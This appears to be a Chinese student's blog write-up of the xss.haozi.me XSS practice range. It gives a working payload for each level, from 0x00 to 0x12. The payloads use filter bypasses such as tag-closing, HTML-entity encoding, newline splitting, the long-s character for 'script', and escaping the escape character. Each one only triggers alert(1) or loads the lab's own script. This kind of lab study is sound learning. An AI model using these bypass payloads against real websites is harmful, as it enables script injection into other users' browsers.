xss.haozi.me

集训第二周 星期一(上)

在这里插入图片描述第二个星期了,再发一篇。感觉自己好像没学什么东西。就学了个HTML和JavaScript。今天开始XSS的实战,这篇博客主要就是写一下题解。
先给出XSS靶场的地址: https://xss.haozi.me/#/0x00 我是在谷歌上写的,不知道为什么同样的payload在火狐上不能用。

0x00

第一关应该没什么讲的吧,啥都没有,直接给payload了。

<img src="x" onerror="alert(1)">

在这里插入图片描述

0x01

这一关,就是考了个最基本的标签闭合,感觉有点想SQL注入,哈哈。就是把前面和后面的textarea给闭合掉,让后再写核心代码就行了,我讲一下这个img吧,他是用来给页面加入图片的,图片的地址就是由src来设置的,然后后面那个onerror是一个事件,就是一旦出错,就会执行里面的JavaScript代码。所以我们就把图片的地址胡写一个,让后程序出错,最后执行JavaScript代码,完美。

</textarea><img src="x" onerror="alert(1)"><textarea>

在这里插入图片描述

0x02

这关照样和SQL注入差不多,上一关是闭合整个标签,这次就闭合一半,使用“>把前面的标签给闭合了,然后再写自己的标签

"><img src="x" onerror="alert(1)">

在这里插入图片描述

0x03

这一关,就涉及到了过滤,这不和SQL注入过滤一样吗,但这个应该不能预编译吧,哈哈。这道题就是过滤了括号,绕过括号的方法好像很多,但是我目前就知道一种,就是用反引号。来来来,上payload

<img src="x" onerror="alert`1`">

在这里插入图片描述

0x04

这一题,极其的魔性,不知道为什么我在火狐上过不去。这道题把括号和反引号都过滤了,但是完美还可以用HTML编码绕过,有点类似于SQL注入的url编码绕过。

<img src="x" onerror="alert&#40;1&#41;">

在这里插入图片描述

0x05

这一题用到了一些比较冷的知识,我也不知道,看了别人的,原来–!>也能闭合<!–,涨知识了。

--!><img src="x" onerror="alert(1)"><!--

在这里插入图片描述

0x06

过滤了以on开头,以=号结尾的字符,我们就用换行符绕过

type="image" src="xxx" onerror

="alert(1)"

在这里插入图片描述

0x07

匹配了尖括号<>开头结尾的字符串替换为空.可以通过少输入一个>来绕过正则,但仍然可以执行.我也不知道为啥这样也行,感觉HTML的容错率也太高了,这样都行,刚学完C++的我,感觉极其不适应。

<img src="x" onerror="alert(1)"

在这里插入图片描述

0x08

这里还有一个问题,他把"<\style>"过滤了,正常思虑是换行绕过,但是我发现必须把“>“给换到下一行才行,再多加一个字符都不行,不知道为啥。请高人指点。

</style
>
<img src="x" onerror="alert(1);">

在这里插入图片描述

0x09

这一关就是必须要输入一个指定的URL而已,没有对输入进行任何过滤。

https://www.segmentfault.com"></script><img src="x" onerror="alert(1)">

在这里插入图片描述

0x0A

看了看题解,但发现题解的方法我用不了啊,不知道为啥。这又用到一个知识点,就是@,如果你访问 www.baidu.com@www.google.com,那么你最后进入的是谷歌的界面,所以这一关,就在自己的服务器上放一个js文件,写上“alert(1)”。但不知道我的不行。就先给出别人的payload吧。xss.haozi.me/j.js 这是题目作者自己写的js文件。

https://www.segmentfault.com@xss.haozi.me/j.js

0x0B

这一关把所有的字符都变成了大写,HTML对大小写是不敏感的,但是JavaScript对大小写敏感,所以我们需要把JavaScript的函数,给编码一下,这里我发现,好像只有字母和括号可以用编码绕过,但要是单引号双引号之类的,就不行了,不知道自己感觉的对不对。

<img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">

在这里插入图片描述

0x0C

就是多过滤了一个script,直接用上一关的payload就行了。

<img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">

在这里插入图片描述

0x0D

写了个alert()但是却不让用,这个注释符只能注释一行,打个换行就可以了,但是我不明白为什么后面那个–>非要再换一行,如果不换,就过不去,这是个啥原理。


alert(1);
-->

在这里插入图片描述

0x0E

匹配了所有<与字母的组合.

即<s无法使用.

但是ſ大写后为S,且其ascii值不与s相等,因此可以绕过.虽然我的又不能,没事,我已经习惯了。

<ſcript src="https://xss.haozi.me/j.js"></script>

0x0F

这一关不会,看来题解,就更不懂了,为啥他把单引号编码之后还可以用,那这过滤个锤子,哎,不明白啊不明白。

');alert(1)//

在这里插入图片描述

0x10

这一题没啥好说的,只能说自己写的题太少了。

1;alert(1)

在这里插入图片描述

0x12

过滤了一些东西,但他不是替换为空,而是给转义了,那我们就把转义符给转义了,试试。

\");alert(1);</script>

在这里插入图片描述啊,终于写完了,但其实没有完,还有一个靶场没写了,没事,问题不大。慢慢来吧。

  • 7
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值